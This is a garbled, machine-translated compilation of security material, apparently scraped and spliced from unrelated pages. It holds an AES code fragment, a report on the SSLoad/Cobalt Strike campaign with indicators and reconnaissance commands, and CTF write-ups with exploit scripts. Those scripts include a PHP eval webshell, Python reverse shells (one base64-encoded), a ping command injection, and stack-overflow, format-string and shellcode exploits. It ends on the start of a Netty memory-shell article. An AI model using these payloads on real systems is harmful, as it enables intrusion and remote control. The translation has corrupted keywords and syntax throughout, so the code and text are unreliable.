returnMatrix2Text(self.plain_state)

defdecrypt(self、ciphertext):

self.cipher_state=text2matrix(ciphertext)

self .__ add_round_key(self.cipher_state、self.round_keys [40:])

self .__ inv_shift_rows(self.cipher_state)

self .__ inv_sub_bytes(self.cipher_state)

Foriinrange(9,0、-1):

self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1)))

self .__ add_round_key(self.cipher_state、self.round_keys [:4])

returnMatrix2Text(self.cipher_state)

def__add_round_key(self、s、k):

Foriinrange(4):

Forjinrange(4):

s [i] [j]^=k [i] [j]

def__round_encrypt(self、state_matrix、key_matrix):

self .__ sub_bytes(state_matrix)

self .__ shift_rows(state_matrix)

self .__ mix_columns(state_matrix)

self .__ add_round_key(state_matrix、key_matrix)

def__round_decrypt(

FROZEN#SHADOW 被發現採用了一種新的攻擊活動,該活動利用SSLoad 惡意軟件進行操作,並利用Cobalt Strike Implants 來控制和接管整個網絡。

此外,威脅分子還使用ScreenConnect RMM 等遠程監控和管理軟件進行進一步控制。

SSLoad 是一種精心設計的惡意軟件,可以秘密滲透系統、收集敏感信息,並將收集到的信息洩露給惡意軟件操作者。

此外,該惡意軟件還利用多個後門和有效負載來逃避檢測並保持持久性。

技術分析這種新的攻擊活動從包含惡意鏈接的傳統網絡釣魚電子郵件開始。

當用戶訪問此鏈接時,它會將他們重定向到mmtixmm[.]org URL 到另一個下載站點,在該站點將JavaScript 文件下載到受害者計算機。如果手動執行此JavaScript 文件,它會執行多項操作,在受害者計算機上下載並執行更多有效負載。

這些網絡釣魚電子郵件活動的目標似乎是隨機的,因為受害者分佈在多個國家,包括亞洲、歐洲和美洲。

對惡意軟件的進一步調查表明,攻擊發生在以下不同階段:

马云惹不起马云第1 階段:初始執行– JavaScript

马云惹不起马云第2 階段:MSI 文件執行

马云惹不起马云第3 階段:惡意軟件執行

马云惹不起马云第4 階段:鈷擊執行

马云惹不起马云第5 階段:RMM 軟件和橫向移動

第1 階段:初始執行– JavaScript此初始階段涉及手動執行JavaScript 文件。通過分析JS 文件out_czlrh.js,發現它由97.6% 的註釋代碼組成,其中包含隨機字符以混淆文件。然而,刪除註釋代碼後會發現一段非常清晰的JS 代碼,沒有任何混淆。

image.png

具有多個註釋代碼的JS 文件代碼

在分析JS 代碼時,我們發現JS 文件執行多個操作,首先為WScript.Network 和Scripting.FileSystemObject 創建ActiveXObject 實例。

此後,包含“GetObject(“winmgmts:\\.\root\cimv2”)”的JS 代碼嘗試訪問WMI 對像以進行簡單的命令行操作。

image.png

從JS 代碼中刪除註釋後清理代碼

此外,代碼還設置變量來管理連接嘗試次數並收集網絡共享的連接狀態。

該腳本還將所有可用驅動器映射到位於\wireoneinternet[.]info@80\share\ 的網絡共享。 JS 代碼還通過WMI 執行“net use”命令以正確映射網絡驅動器。

成功完成所有這些步驟後,腳本將構造一個命令,使用msiexec.exe 從映射的網絡驅動器安裝MSI 包(slack.msi)。

第2 階段:MSI 執行此slack.msi 文件與TrickBot 惡意軟件團伙經常使用的BazarBackdoor 類似。該惡意軟件能夠過濾網絡並部署額外的有效負載。但是,執行此slack.msi 文件後,惡意軟件會與多個域進行通信。

马云惹不起马云wireoneinternet[.]info

马云惹不起马云skinnyjeanso[.]com

马云惹不起马云titnovacrion[.]top

马云惹不起马云Maramaravilha[.]com

马云惹不起马云globalsolutionunlimitedltd[.]com此外,只有在此之後,SSLoad 惡意軟件才會下載並執行。

SSLoad 的有效負載由一個半隨機命名的DLL 文件組成,該文件位於%APPDATA%\local\digistamp\mbae-api-na.dll 中。然而,該DLL 由Rundll32.exe 執行,之後DLL 將自身複製到%APPDATA%\Custom_update\。

image.png

第3 階段:惡意軟件執行除了前一階段之外,rundll32.exe 命令的執行還將開始與兩個預配置的C2 服務器通信,即hxxps://skinnyjeanso[.]com/live/和hxxps://titnovacrion[.]top/live/. Following this。此後,惡意軟件開始使用cmd.exe 命令收集本地主機的系統和用戶數據以及域相關信息。

马云惹不起马云exe/cipconfig/all

马云惹不起马云exe/csysteminfo

马云惹不起马云exe/cnltest/domain_trusts

马云惹不起马云exe/cnltest/domain_trusts/all_trusts

马云惹不起马云exe/cnetview/all/domain

马云惹不起马云exe/cnetview/all

马云惹不起马云exe/cnetgroup“domainadmins”/domain

马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list

马云惹不起马云exe/cnetconfigworkstation

马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductgetdisplayname|findstr/v/b/c:displayname||echonoantivirusinstalled

马云惹不起马云exe/cwhoami/groups然後,這些收集到的信息將通過HTTPS 連接發送到C2 服務器。一旦威脅分子從受感染的系統收到此信息,他們就會在確認該信息來自合法服務器而不是來自蜜罐後開始執行一些手動命令。威脅分子執行的手動命令如下:

马云惹不起马云exe-c“[console]:outputencoding=[console]:inputencoding=[system.text.encoding]:getencoding(‘utf-8’);cdc:\;powershell”

马云惹不起马云exe/groups

马云惹不起马云exegroup“domainadmins”/dom

马云惹不起马云exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list執行這些命令是為了操縱和探測服務器環境以進行下一階段的惡意軟件活動。

第4 階段:鈷打擊信標此階段的惡意軟件涉及在執行手動命令後在系統上部署Cobalt Strike 信標。一旦部署該信標,它就成為C2 的主要通信手段。但是,該信標將通過rundll32.exe 命令刪除並執行。

马云惹不起马云Rundll32.exeC:\ProgramData\msedge.dll,MONSSMRpgaTQssmrpgatq此外,威脅分子還使用Cobalt Strike 下載並安裝ScreenConnect RMM 軟件實例。

马云惹不起马云exe/cwhoami/groups

马云惹不起马云exe/cwmic/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list

马云惹不起马云exe/ciwr-uri“hxxps://t0talwar.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e=accessy=guestc=c=tjx-usa.comc=c=dcc=c=c=c=”-outfilec:\programdata\msedgeview.msi

马云惹不起马云exe/csysteminfo

马云惹不起马云exe/cmsiexec.exe/iC:\ProgramData\Msedgeview.msi/quiet/qn第5 階段:RMM 軟件和橫向移動每個受感染的系統均由ScreenConnect RMM 軟件控制,以保持對系統的完全控制。然而,在此之後,橫向移動將通過獲取憑證和其他關鍵系統詳細信息進行。環境的枚舉是使用多個PowerShell 命令完成的。

執行憑據提取後,他們還可以獲得域管理員帳戶NTLM 哈希。

IOCC2地址85.239.54[.]190

23.159.160[.]88

23.95.209[.]148

45.95.11[.]134

bjSdg0.pintaexoticfashion.co[.]in

l1-03.winupdate.us[.]to

23-95-209-148-host.colocrossing[.]com:443

mmtixmm[.]org

wireoneinternet[.]info

skinnyjeanso[.]com

titnovacrion[.]top

simplyfitphilly[.]com

kasnackamarch[.]info

sokingscrosshotel[.]com

danteshpk[.]com

stratimasesstr[.]com

winarkamaps[.]com

globalsolutionunlimitedltd[.]com

maramaravilha[.]com

krd6[.]com

hxxps://t0talwar.screenconnect[.]com

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

予備競争

web_ezcms

スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。

1049983-20240802141202586-170871422.jpg

現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します

1049983-20240802141203506-2056064072.jpg

ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください

取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9

{

'createwhere ':0、

'Deptid':'1'、

'email ':' '、

'password ':'123456'、

'Phone':'1111111111'、

'roleids': [

'11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9'

]、

'sex':'fmale'、

'username ':'hacker'

}パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します

post/sys/pinghttp/1.1

host:

user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0

Accept:Application/json、text/javascript、*/*; q=0.01

Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2

Accept-Encoding:GZIP、deflate

content-type:Application/json; charset=utf-8

authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka

X-Requested With:xmlhttprequest

Content-Length:28

Origin:

DNT:1

SEC-GPC:1

connection:close

参照:

cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb

sec-fetch-dest:Empty

sec-fetch-mode:cors

SEC-FETCH-SITE:SAME-ORIGIN

Priority:U=1

{'ip':'10.10.10.10-1 || cat/flag'}

トップシークレットファイルコードP

importcv2

importnumpyasnp

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

fromcrypto.util.numberimport*

#P、Q=(24162760378372762422470687817893681267、

#34743245425789325049640796550677777649463)

## assertp ** 2+q ** 2==s

## print(isprime(p)、isprime(q))

#img_path='flag_enc.png'

#IMG=cv2.imread(img_path)

#print(img.shape)

fromympy.solvers.diophantine.diophantineimportcornacchia

'' '

この場所は、sから変更し、分解し、Factordbだけを変更する必要があります

f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}}

'' '

x1=cornacchia(1,1、s)

Fora、binx1:

Asserta ** 2+B ** 2==s

ifisprime(a)andisprime(b):

印刷(a、b)

#ここでPとQを取得しました

fromcrypto.util.numberimport*

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

assertisprime(p)andisprime(q)andp ** 2+q ** 2==s

importcv2

path1='flag_enc.png'

img=cv2.imread(path1)

#print(img.shape)

r、c、d=img.shape

印刷(r、c)

#i、j=101,201

fromtqdmimporttqdm

A、B=P、Q

foriintqdm(range(r)):

Forjinrange(c):

set1=set()

set1.add((i、j))

i1、j1=i、j

WHILETRUE:

x=(i1+b*j1)%r

y=((a*i1)+(a*b+1)*j1)%c

i1、j1=x、y

if(x、y)notinset1:

set1.add((x、y))

else:

ifi==0andj==0:

続行します

assertlen(set1)==190#はすべてデフォルト190です

#ここは190であることがわかりました。後で触れ始めたのは偶然でした。

#s1=s%190

#print(s1)

#importnumpyasnp

#defarnold(img、shuffle_times、a、b):

#r、c、d=img.shape

#p=np.zeros(img.shape、np.uint8)

#print(r、c、d、shuffle_times)

#forsinrange(shuffle_times):

#foriinrange(r):

#forjinrange(c):

#x=(i+b*j)%r

#y=((a*i)+(a*b+1)*j)%c

#P [x、y、]=img [i、j、]

#img=np.copy(p)

#returnp

#x1=アーノルド(img、11、p、q)

#cv2.imwrite( 'flag3.png'、x1)

## cv2.imwrite( 'flag1.png'、img)

C=17909320918192914995346613617854206759768232774125658680790707029728290913658

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

importcv2

importnumpyasnp

Defarnold(IMG、shuffle_times、a、b):

r、c、d=img.shape

p=np.zeros(img.shape、np.uint8)

印刷(r、c、d、shuffle_times)

forsinrange(shuffle_times):

foriinrange(r):

Forjinrange(c):

x=(i+b*j)%r

y=((a*i)+(a*b+1)*j)%c

p [x、y、]=img [i、j、]

img=np.copy(p)

戻る

img=cv2.imread( 'flag_enc.png')

#print(img)

C1=C%190

Foriinrange(190):

img=arnold(img、1、p、q)

cv2.imwrite(f'flag {i+1} .png '、img)

'' '

1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです

2.FLAG {ailuropoda_rnelaNoleuca}

''

正しいことをし続ける

トラフィックパケットから取得されたデータは、画像の16進システムです

1049983-20240802141204115-667496384.jpg

彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます

1049983-20240802141204919-1421521109.jpg

それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します

ゲーム

ゲームを直接プレイしてフラグを取得します

これは本当のサインイン

です

1049983-20240802141205695-1581426213.jpg

funiot

Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。

1049983-20240802141206375-612647167.jpg

次に、フラグを読みます:

frommpwnimport*

Importzlib

#p=remote( '127.0.0.1'、6768)

p=remote( '173.34.20.10'、6768)

ヘッダー=b'funiot '#6

CMD=0x102

cmd_encode=int(cmd).to_bytes(2、 'big')

len=0x0101

length=int(len).to_bytes(2、 'big')

#content=b'getinfo:shadow '

#content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml '

content=b'getinfo: //flag '

content=content.ljust(0x101、b '\ x00')

check_sum=int(zlib.crc32(content))。to_bytes(4、 'big')

full_content=header+length+cmd_encode+check_sum+content

#packet:

#header:6Bytes

#length:2bytes

#CMD:2BYTES

#CheckSum:4Bytes

#CONTENT:UNKNOW

context.log_level='debug'

p.send(full_content)

#p.Interactive()

ImportBase64

print(base64.b64decode(p.recv())。デコード( 'utf-8'))

#command:getinfo、setinfo、secret

yesure_hack

質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。

#ランダム%(Max-Min+1)+Min

frommpwnimport*

context.log_level='debug'

#p=process( './main')

p=remote( '173.34.20.233'、9999)

P.Sendlinefter(b'ch: '、b'1')

P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12')

Foriinrange(99):

P.Sendlinefter(b'guessanumber '、b'1')

P.Sendlinefter(b'guessanumberbetween '、b'2')

ペイロード=b'a '*0x3c

ペイロード+=P32(0x0805DEA9)

ペイロード+=asm( '' 'push0xffffffff4

ポピアックス

push0xffffffffffff

popepx

Xoreax、EBX

push0xff978cd0

Popecx

Xorecx、EBX

pushecx

push0x6e69622f

movebx、esp

Xorecx、ECX

int0x80 '' ')

ペイロード=payload.ljust(99、b'a ')

一時停止()

P.Sendlineferter(b'congratulation! '、ペイロード)

p.Interactive()

msg

辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。

frommpwnimport*

#p=process( './main')

p=remote( '173.34.20.68'、9999)

P.Sendlinefter(b'message: '、b'%11 $ p ')

canary=int(p.recv(18)、16)

成功(f'canary: {hex(canary)} ')

P.Sendlinefter(b'message: '、b'%3 $ p ')

libc=int(p.recv(14)、16)-0x10e1f2

成功(f'libc: {hex(libc)} ')

One=libc+0xe3b01

P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one))

一時停止()

P.Sendlinefter(b'message: '、b' \ x00 '*0x10)

p.Interactive()

スタックオーバー

も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。

frommpwnimport*

#context.log_level='debug'

#p=process( './stackover')

p=remote(b'173.34.20.46 '、9999)

p.sendafter(b'read: '、b'a'*0x29b)

P.Recvuntil(b'a '*0x29b)

canary=u32(b '\ x00'+p.recv(3))

成功(f'canary: {hex(canary)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4)))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4)))

P.Recv(4)

P.Recv(4)

stack=u32(p.recv(4))

成功(f'stack: {hex(stack)} ')

#一時停止()

p.sendafter(b'read: '、b'b'*(0x29b+0x18+7)))

P.Recvuntil(b'b '*(0x29b+0x18+7))

libc=u32(p.recv(4))-0x1aed5

成功(f'libc: {hex(libc)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54)))

elf_base=u32(p.recv(4))-0x3fb8

成功(f'elf_base: {hex(elf_base)} ')

ペイロード=b'c '*(0x29a-0x14-8)

#execve0xc9510

#System0x41780

#puts0x6dc40

#ペイロード+=P32(libc+0x6dc40)

#ペイロード+=P32(elf_base+0x1130)

ペイロード+=b '/bin/sh \ x00'

ペイロード+=P32(elf_base+0x128e)

#ペイロード+=p32(elf_base+0x3fcc)

#ペイロード+=p32(0)

ペイロード+=P32(stack-0x50)

ペイロード+=p32(0)

#ペイロード+=P32(libc+0x18e363)

#ペイロード+=P32(libc+0x18e363)

ペイロード+=p32(0)

ペイロード+=p32(0)

ペイロード+=P32(カナリア)

ペイロード+=p32(0)*3

ペイロード+=P32(stack-0x44)

ペイロード+=P32(elf_base+0x3fb8)

ペイロード+=b '/bin/sh \ x00'

一時停止()

context.log_level='debug'

p.sendafter(b'read: '、ペイロード)

p.Interactive()

stackover-revenge

は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。

1049983-20240802141207116-1405232494.jpg

IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。

0x01 前言基於netty動態創建pipeline的特性,其內存馬的構造思路與tomcat有一定的區別,目前網上有關netty內存馬的文章都圍繞CVE-2022-22947和XXL-JOB兩種場景展開,並未對其做更為詳細的分析。本文就以上述兩種場景為始,嘗試從源碼角度探究netty內存馬的部分細節,以供大家參考。

0x02 Netty介紹I/O事件:分為出站和入站兩種事件,不同的事件會觸發不同種類的handler。

Handler (ChannelHandler):handler用於處理I/O事件,繼承如下幾種接口,並重寫channelRead方法完成請求的處理,功能類似於filter。

ChannelInboundHandlerAdapter入站I/O事件觸發該

handlerChannelOutboundHandlerAdapter出站I/O事件觸發該

